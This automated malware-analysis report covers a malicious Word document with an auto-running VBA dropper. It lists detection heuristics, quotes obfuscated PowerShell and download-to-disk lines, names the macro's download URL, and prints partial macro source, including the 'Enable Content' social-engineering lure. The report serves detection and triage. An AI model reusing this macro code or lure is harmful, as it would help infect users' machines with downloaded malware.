Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1b840c5fae499abb…

MALICIOUS

Office (OOXML)

108.3 KB Created: 2021-09-29 22:23:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-07
MD5: 0fe0fd3f088db063766428b6eddb4ee4 SHA-1: 4e091a423deccec5b2070528df41269aea5ff353 SHA-256: 1b840c5fae499abb6fff5d54de6f9600de56fd84d16945eec957ecf3adcd22b3
526 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The document body explicitly instructs the user to 'Enable Content' to fix compatibility issues, a common social engineering lure. The VBA code contains an Auto_Open and Document_Open macro which is obfuscated and uses CreateObject to download and execute a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristics. The script also checks for the existence of '*.txt' files in the AppData directory, potentially to avoid detection or for further malicious actions.

Heuristics 14

  • ClamAV: Doc.Downloader.Shellhide-10014935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Shellhide-10014935-0
  • VBA project inside OOXML medium 9 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    ruIHkCEitJbbzHIsbXTfMZexmNjsFqbBBR.Document.Application.ShellExecute RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", "FRk5NDM6DggqGUcADis="), RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("BA==")), "C:\Windows\System32\WindowsPowerShell\v1.0\", Null, 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    QAaMkQDqysHlNwwYSLCIXCEFtGdWAkeFtdfEylFdqnOMleeqsRoAFyYxcPKn.Write QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy = CreateObject(RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("KB8tIy46CQsyWzEoOgYFFRk=")))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set QnYrxJmWCjdgfGWillhwxNPJhPlBsPpQYwAESmETYbipkYtLSiIYIwvaXehcrEfy = CreateObject(RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("KB8tIy46CQsyWzEoOgYFFRk=")))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set ruIHkCEitJbbzHIsbXTfMZexmNjsFqbBBR = GetObject(RAILtgRiskWVzdmSMbCoBoduqGoyPdzGumTAWvDhTsd("evNQAIfmFui", DecodeBase64("CxM5awJ5XiwAMVBVWwhjAHhLXHcxWEhOemR0ZFZdB0UqXEcIYnlxVg==")))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    If Len(Dir(Environ("AppData") + "\*.txt")) = 0 Then
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://brkle.tk/Any786 Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 24082 bytes
SHA-256: 11617496bbe4ef12341a6b075a7c7e742743ec1a914d731c9c35c187e2338091
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Dim bSaved As Boolean

Sub Auto_Open()

End Sub

Sub Document_Open()


Call fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR

Call iMZhgBKouwiXWuJfNJrPlTeEoJuEzwqyPBCPQEIBAFXCgDJNjOTIHLZnRjcQHbIYKrywncYhINIWBCdppvoJFcEBiv


If Len(Dir(Environ("AppData") + "\*.txt")) = 0 Then
RuIXdbXbZrJsLewgrkgkIVJlqRVKVZvwCjPAVVDFYJsmnbu
Else

End If

End Sub

Sub fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR()

Dim rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ As String, XsinaEJSOxrwGdNlmgQAVikPuZ As String
Dim MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG As Range, SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo As Range
Dim voXvGkYUJt As Range, GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib As Range, KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP As Range

'Setting up the Ranges
Set MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG = ActiveDocument.Range
Set SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo = ActiveDocument.Range
Set voXvGkYUJt = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(225, 225, 225)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ = "This Document Is"
XsinaEJSOxrwGdNlmgQAVikPuZ = "Version."

'Starting the Find First Word
With MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG.Find
.Text = rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib
Set GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib = MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG
'Having these Selections during testing is benificial to test your script
GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.Select

'Setting the SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo up for the remainder of the document form the end of the rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Start = GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.End
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Select


'Setting the Find to look for the End Word
With SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Find
.Text = XsinaEJSOxrwGdNlmgQAVikPuZ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP
Set KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP = SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo

'Having these Selections during testing is benificial to test your script
KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP.Select

End If

End With

'Selecting the delete range
voXvGkYUJt.Start = GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.Start
voXvGkYUJt.End = KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP.End
'Having these Selections during testing is benificial to test your script
voXvGkYUJt.Select

'Remove comment to actually delete
voXvGkYUJt.Delete



End If 'Ending the If MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG .Found = True
Loop 'Ending the Do While .Execute Loop
End With 'Ending the MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG.Find With Statement

End Sub

Sub iMZhgBKouwiXWuJfNJrPlTeEoJuEzwqyPBCPQEIBAFXCgDJNjOTIHLZnRjcQHbIYKrywncYhINIWBCdppvoJFcEBiv()
'Selection.EndKey Unit:=wdStory
Dim jCCqcmPGCUgTKJCYOZNGuypSkrLIwbuWzSyEvLxlMjpfU As Word.Paragraph

Dim UrUlkYsphuJCugcOmIRXzZfrTAgEEMgcnHEMShVHrzrXZn As Word.Document
Set UrUlkYsphuJCugcOmIRXzZfrTAgEEMgcnHEMShVHrzrXZn = ActiveDocument

Set jCCqcmPGCUgTKJCYOZNGuypSkrLIwbuWzSyEvLxlMjpfU = UrUlkYsphuJCugcOmIRXzZfrTAgEEMgcnHEMShVHrzrXZn.Content.Paragraphs.Add
With jCCqcmPGCUgTKJCYOZNGuypSkrLIwbuWzSyEvLxlMjpfU.Range
.ParagraphFormat.Alignment = wdAlignParagraphLeft
' .InsertParagraphAfter
With .Font
.Name = "Bahnschrift Condensed"
.Size = "26"
.Bold = False
End With
End With


Selection.TypeText Text:="This Document Is" & Chr(11) & "New"

'ActiveDocument.Paragraphs(6).Range.Text = "Foo" & vbCr & "Bar"

Call qIqxlDavCqlNcRWKDwmwzlpYjfOXJQQNiTFxxPumUJerzAMkeKT

End Sub

Sub qIqxlDavCqlNcRWKDwmwzlpYjfOXJQQNiTFxxPumUJerzAMkeKT()

Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "New"
With .Replacement
.ClearFormatting
.Font.Name = "Bahnschrift Condensed"
.Font.Size = 26
.Font.Bold = False
With .ParagraphFormat 'the whole paragraph


.Alignment = wdAlignParagraphLeft

End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub

End Sub


Sub Document_Close()

Call docclosetxtdel

Call VlQwFiMOIMDkfOJsfyqPVXfqvGJzIhZrfyHHljQVfJSB

Call svdoc

'Application.DisplayAlerts = True

End Sub

Sub docclosetxtdel()

Application.DisplayAlerts = False
Dim rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ As String, XsinaEJSOxrwGdNlmgQAVikPuZ As String
Dim MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG As Range, SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo As Range
Dim voXvGkYUJt As Range, GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib As Range, KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP As Range

'Setting up the Ranges
Set MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG = ActiveDocument.Range
Set SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo = ActiveDocument.Range
Set voXvGkYUJt = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(128, 128, 128)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ = "This Document Is"
XsinaEJSOxrwGdNlmgQAVikPuZ = "New"

'Starting the Find First Word
With MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG.Find
.Text = rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
.Replacement.Text = ""
.Forward = False
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib
Set GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib = MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG
'Having these Selections during testing is benificial to test your script
GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.Select

'Setting the SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo up for the remainder of the document form the end of the rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Start = GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.End
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Select


'Setting the Find to look for the End Word
With SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Find
.Text = XsinaEJSOxrwGdNlmgQAVikPuZ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP
Set KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP = SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo

'Having these Selections during testing is benificial to test your script
KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP.Select

End If

End With

'Selecting the delete range
voXvGkYUJt.Start = GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.Start
'Having these Selections during testing is benificial to test your script
voXvGkYUJt.Select

'Remove comment to actually delete
voXvGkYUJt.Delete



End If 'Ending the If MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG .Found = True
Loop 'Ending the Do While .Execute Loop
End With 'Ending the MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG.Find With Statement


End Sub


Sub VlQwFiMOIMDkfOJsfyqPVXfqvGJzIhZrfyHHljQVfJSB()

'Selection.EndKey Unit:=wdStory
Dim GmzrXJRCakoFImTFdcOdKngCRKUioRlCCCexqfgrZOYiGQEobmptSJ As Word.Paragraph

Dim KQMQVBsHJEVxXXjDwqX As Word.Document
Set KQMQVBsHJEVxXXjDwqX = ActiveDocument

Set GmzrXJRCakoFImTFdcOdKngCRKUioRlCCCexqfgrZOYiGQEobmptSJ = KQMQVBsHJEVxXXjDwqX.Content.Paragraphs.Add
With GmzrXJRCakoFImTFdcOdKngCRKUioRlCCCexqfgrZOYiGQEobmptSJ.Range
.ParagraphFormat.Alignment = wdAlignParagraphLeft
' .InsertParagraphAfter
With .Font
.Name = "Bahnschrift Condensed"
.Size = "26"
.Bold = False
End With
End With


Selection.TypeText Text:="This Document is created in Other Version" & Chr(11) & "of 'Microsoft Word'" & Chr(11) & "Please Click 'Enable Content' to Fix Document Compatibility with Your 'Microsoft Office' Version."
' ActiveDocument.Paragraphs(6).Range.Text = "Foo" & vbCr & "Bar"
Call cYPJkeQRCQ

Call CmOqQuOstwUUZpDZKajuDeDowAMFjkgLlCKuTMcpPvcEEwkcFhzGCRECKMnuWaacBiUybXlMNZhtgQlcmrpErDAOKAqfmwyy

Call OXvertJMeTxrdFYaWHgLHLuhtEFjDSFUIUveSlPMUULNEQpNmxbPfvrHvRIUqkw

Call bdoRtahBISiWnAwcZnUhNyUhFmPDsdJJhPecestnhoejSvnSPxhYhxvPfZcOYlYBzpwBxTbRUCIvFMvca

Call vkIedUzLiJrbnmlHgZAPaaPPjvocSQNsebmGaGwDlESMzVsvZARCfETFYReVuJkPWdnEthzNiGvzqHtISMpJUVWoWUSkgSh

Call dccaOEceAorsLgbyYTpfZDONASpYIyVVsOqwxWatATiNiDtBUEiyTzGKoDSaQGJppNqvkmlqbyFkIS

End Sub


Sub cYPJkeQRCQ()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Document"
With .Replacement
.ClearFormatting
.Font.Name = "Bahnschrift Condensed"
.Font.Size = 26
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph

' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphRight
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub CmOqQuOstwUUZpDZKajuDeDowAMFjkgLlCKuTMcpPvcEEwkcFhzGCRECKMnuWaacBiUybXlMNZhtgQlcmrpErDAOKAqfmwyy()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "of 'Microsoft Word'"
With .Replacement
.ClearFormatting
.Font.Name = "Bahnschrift Condensed"
.Font.Size = 26
.Font.Bold = False
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
.Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub OXvertJMeTxrdFYaWHgLHLuhtEFjDSFUIUveSlPMUULNEQpNmxbPfvrHvRIUqkw()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Microsoft Word"
With .Replacement
.ClearFormatting
.Font.Name = "Bahnschrift Condensed"
.Font.Size = 26
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub


Sub bdoRtahBISiWnAwcZnUhNyUhFmPDsdJJhPecestnhoejSvnSPxhYhxvPfZcOYlYBzpwBxTbRUCIvFMvca()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Please Click 'Enable Content' to Fix Document Compatibility with Your 'Microsoft Office' Version."
With .Replacement
.ClearFormatting
.Font.Name = "Bahnschrift Condensed"
.Font.Size = 11
.Font.Bold = False
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub vkIedUzLiJrbnmlHgZAPaaPPjvocSQNsebmGaGwDlESMzVsvZARCfETFYReVuJkPWdnEthzNiGvzqHtISMpJUVWoWUSkgSh()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Enable Content"
With .Replacement
.ClearFormatting
.Font.Name = "Bahnschrift Condensed"
.Font.Size = 11
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub

Sub dccaOEceAorsLgbyYTpfZDONASpYIyVVsOqwxWatATiNiDtBUEiyTzGKoDSaQGJppNqvkmlqbyFkIS()
Dim zRng As Word.Range
Set zRng = ActiveDocument.Range
With zRng.Find
.Text = "Microsoft Office"
With .Replacement
.ClearFormatting
.Font.Name = "Bahnschrift Condensed"
.Font.Size = 11
.Font.Bold = True
With .ParagraphFormat 'the whole paragraph
' .SpaceBefore = 0
' .SpaceBeforeAuto = False
' .SpaceAfter = 0
' .SpaceAfterAuto = False
' .LineSpacingRule = wdLineSpaceMultiple
' .LineSpacing = LinesToPoints(0.9)
' .Alignment = wdAlignParagraphLeft
' .LineUnitBefore = 0
' .LineUnitAfter = 0
End With
End With
.Execute Replace:=wdReplaceAll
End With
lbl_Exit:
Set zRng = Nothing
Exit Sub
End Sub


Sub svdoc()
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub

Function dQPQOOdOSmnIaDPRliCiKDpQZpKkMXXJuIXhEELtokrqMaZAAheWcrNzxPxPBHMkLLFBEcgAGZdRqXihSgFfDlPUJVbWuRaqEA(grnhryAmsczOtkQLkWxXBDPvn As Long) As String


Dim QjcnSOncSGPlfzLIwpLtDmssNhFQDxBSpeHfPMLMGeRqWLhZWBqqtbPkFssRTDmHrT As Long, oeFCkJnTNepZ As Long, ezAzDEYFEBiwTZzpBWFuhzEHYFpesuuHDatSAFXApYzFpFBvuVjuyDtGMMyELTEJjuxnRAiXstTtxsQrZddJ As Long, OAEcwBLMOcjIAAcBniSzeIINx As String, wnqmGjdVjtiBMzgLeStEdJejDfNqDsARXUwwRSchcyICqIaBOJBowMZTVAyLklUZNTtwXiJtcD As String

wnqmGjdVjtiBMzgLeStEdJejDfNqDsARXUwwRSchcyICqIaBOJBowMZTVAyLklUZNTtwXiJtcD = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

ezAzDEYFEBiwTZzpBWFuhzEHYFpesuuHDatSAFXApYzFpFBvuVjuyDtGMMyELTEJjuxnRAiXstTtxsQrZddJ = Len(wnqmGjdVjtiBMzgLeStEdJejDfNqDsARXUwwRSchcyICqIaBOJBowMZTVAyLklUZNTtwXiJtcD)

For QjcnSOncSGPlfzLIwpLtDmssNhFQDxBSpeHfPMLMGeRqWLhZWBqqtbPkFssRTDmHrT = 1 To grnhryAmsczOtkQLkWxXBDPvn

oeFCkJnTNepZ = 1 + Int(ezAzDEYFEBiwTZzpBWFuhzEHYFpesuuHDatSAFXApYzFpFBvuVjuyDtGMMyELTEJjuxnRAiXstTtxsQrZddJ * Rnd())

OAEcwBLMOcjIAAcBniSzeIINx = OAEcwBLMOcjIAAcBniSzeIINx & Mid(wnqmGjdVjtiBMzgLeStEdJejDfNqDsARXUwwRSchcyICqIaBOJBowMZTVAyLklUZNTtwXiJtcD, oeFCkJnTNepZ, 1)
Next QjcnSOncSGPlfzLIwpLtDmssNhFQDxBSpeHfPMLMGeRqWLhZWBqqtbPkFssRTDmHrT
dQPQOOdOSmnIaDPRliCiKDpQZpKkMXXJuIXhEELtokrqMaZAAheWcrNzxPxPBHMkLLFBEcgAGZdRqXihSgFfDlPUJVbWuRaqEA = OAEcwBLMOcjIAAcBniSzeIINx
End Function

Sub zJuIzelztHofPgbmPDCMhKvpQzMXXBlRDGjSBDXdCaJxtUrzoSkJmTbWSPgQkUlqDbBEWcZtfS(mPBmChFncHYZQLNJAmiSOHsBeGvyeVVPlJLNjoDBwnPJrGkFk As String)

